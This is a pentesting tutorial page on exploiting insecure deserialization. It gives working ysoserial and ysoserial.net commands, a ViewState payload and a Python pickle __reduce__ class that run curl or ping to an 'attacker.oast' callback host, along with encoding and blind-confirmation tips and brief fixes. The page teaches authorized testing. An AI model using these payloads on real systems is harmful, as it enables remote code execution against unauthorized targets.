Insecure Deserialization: From Serialized Blob to Remote Code Execution
Exploiting Deserialization with Tools
Using ysoserial for Java, ysoserial.net and viewgen for .NET, and hand-rolling Python pickle payloads, with encoding, delivery, and blind confirmation.
Published
Hand-building a gadget chain is hard. The tools make it a one-liner. This page covers ysoserial, ysoserial.net, viewgen, and pickle payloads, plus encoding, delivery, and the out-of-band confirmation that blind targets require. Use them only on authorized targets. Practice on a free live target.
ysoserial for Java
ysoserial carries a catalogue of Java gadget chains and emits a serialized payload for the one you pick:
# list every available chain
java -jar ysoserial.jar
# generate a Commons Collections chain running a command, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0
# other chains to try depending on the classpath
# CommonsCollections1..7, CommonsBeanutils1, Spring1/2, Hibernate1, ROME, Jdk7u21Deliver the base64 through the deserialized carrier and confirm out of band.
ysoserial.net and viewgen for .NET
ysoserial.net is the .NET counterpart, with ViewState support when you know the machine key:
# ViewState with a known machine key
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
--generator=CA0B0334 --validationkey=<KEY> --validationalg=HMACSHA256 --path="/page.aspx" --apppath="/"
# raw BinaryFormatter gadget, base64 output
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64viewgen is a lighter tool focused on crafting and validating ViewState specifically.
Hand-rolling a Python pickle
Python needs no framework, just the __reduce__ trick:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('curl http://attacker.oast',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
# base64 for a carrier the app decodes; a raw pickle.loads(bytes) sink takes pickle.dumps() directlyPHPGGC does the equivalent for PHP framework gadget chains, generating a serialized POP chain for Laravel, Symfony, Monolog, and others.
Encoding and transport
The raw payload rarely goes on the wire unchanged:
base64 almost always, for binary Java/.NET/pickle blobs
URL-encode when the carrier is a query/body parameter
cookie-encode escape so it survives the Cookie header
gzip/deflate match the app if it expects compressed serialized dataEncode in the order the app decodes: usually serialize, then base64, then URL or cookie encoding.
Blind delivery and confirmation
Assume blind. Confirm execution with a signal that does not need output:
DNS/HTTP OOB command contacts <id>.oast; a received pingback proves RCE
timing 'sleep 10' makes the response measurably slowerOnly after a callback confirms the chain works should you run a real command, and only on a target you are authorized to test. These tools are for pentesting engagements, CTFs, and WebVerse labs, not for systems you do not own.
Edge variants
multiple chains cycle CommonsCollections1..7 until one calls back
URLDNS chain ysoserial's URLDNS proves deserialization via a DNS lookup, no RCE needed
viewgen vs ysoserial.net viewgen for quick ViewState, ysoserial.net for the full gadget setysoserial's URLDNS chain is a great first probe: it triggers a DNS lookup on deserialization without needing a gadget library, so it confirms the sink exists even when no RCE chain fits yet.
Fixing it
- Remove the sink. None of these tools matter if the app does not deserialize untrusted data.
- Allow-list classes so a generated gadget cannot instantiate its chain.
- Patch and trim gadget libraries so known chains stop working.
Full guidance is in preventing insecure deserialization. For every payload in one place, see the cheat sheet, or try the tools on a free lab.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution